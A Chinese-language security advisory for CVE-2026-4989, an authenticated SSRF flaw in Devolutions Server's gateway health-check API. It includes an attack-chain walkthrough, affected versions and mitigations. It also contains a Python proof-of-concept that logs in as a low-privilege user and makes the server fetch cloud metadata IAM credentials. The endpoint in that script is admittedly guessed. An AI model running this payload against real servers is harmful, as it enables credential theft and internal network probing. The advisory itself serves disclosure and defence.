IPBUF安全漏洞报告
English
CVE-2026-4989 CVSS 4.3 中危

CVE-2026-4989:Devolutions Server SSRF漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-4989
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

SSRFDevolutions Server信息泄露CWE-918认证后漏洞

漏洞概述

Devolutions Server的网关健康检查功能中存在输入验证不当漏洞。由于缺乏对用户输入的严格过滤,低权限的经过身份验证用户可以利用该缺陷,通过发送特制的API请求触发服务器端请求伪造(SSRF)攻击。此漏洞可能被利用来探测内网服务或获取敏感信息,对系统安全性构成潜在威胁。建议管理员尽快修补。

技术细节

该漏洞的根源在于Devolutions Server网关健康检查功能的实现逻辑中,未对用户通过API接口提交的输入参数进行充分的安全校验和过滤。攻击者首先需要一个低权限的合法账户凭证并完成登录。随后,通过向受影响版本的服务器发送特制的HTTP API请求,攻击者可以在健康检查的参数字段中注入恶意的URL(例如内网IP地址、本地回环地址或云服务元数据地址)。由于服务器端在处理该功能时,直接信任并使用了用户提供的URL发起后端网络请求,导致攻击者能够绕过防火墙等网络边界限制,以服务器的身份向内部网络或特定外部目标发起请求。这种SSRF攻击不仅可用于探测内网开放端口和服务,还可能结合其他漏洞导致敏感数据泄露,对内网安全造成严重威胁。

攻击链分析

STEP 1
侦察与准备
攻击者确认目标运行Devolutions Server,并获取一个低权限的合法账户凭证。
STEP 2
认证访问
攻击者使用获取的低权限账户登录系统,建立有效的会话。
STEP 3
构造恶意请求
攻击者分析网关健康检查功能的API接口,构造包含恶意内网URL(如云元数据地址或内部管理端口)的特制API请求。
STEP 4
执行SSRF攻击
将构造好的请求发送给服务器。服务器端接收参数后,向攻击者指定的内部地址发起连接请求。
STEP 5
信息泄露
服务器将内部服务的响应返回给攻击者(或在错误信息中泄露),从而实现信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_host = "https://example-devolutions-server.com" username = "low_priv_user" password = "user_password" def exploit_ssrf(): session = requests.Session() # Step 1: Authenticate as a low-privileged user print("[*] Attempting to login...") login_url = f"{target_host}/api/auth/login" login_data = { "username": username, "password": password } try: resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print(f"[-] Login failed: {resp.status_code}") return print("[+] Login successful") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send malicious payload to Gateway Health Check # Targeting internal metadata service (common SSRF target) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The vulnerable endpoint might vary, assuming a REST API structure based on description health_check_url = f"{target_host}/api/v1/gateway/healthcheck" payload = { "url": internal_target } print(f"[*] Sending SSRF payload to {health_check_url} targeting {internal_target}") try: exploit_resp = session.post(health_check_url, json=payload, verify=False) print(f"[+] Server responded with status: {exploit_resp.status_code}") print("[+] Response content:") print(exploit_resp.text) except Exception as e: print(f"[-] Error sending exploit payload: {e}") if __name__ == "__main__": exploit_ssrf()

影响范围

Devolutions Server 2026.1.1 - 2026.1.11
Devolutions Server 2025.3.1 - 2025.3.17

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用网关健康检查功能,或在防火墙/应用网关处严格限制该API接口的调用来源,同时监控服务器出站流量以检测异常的内部网络访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表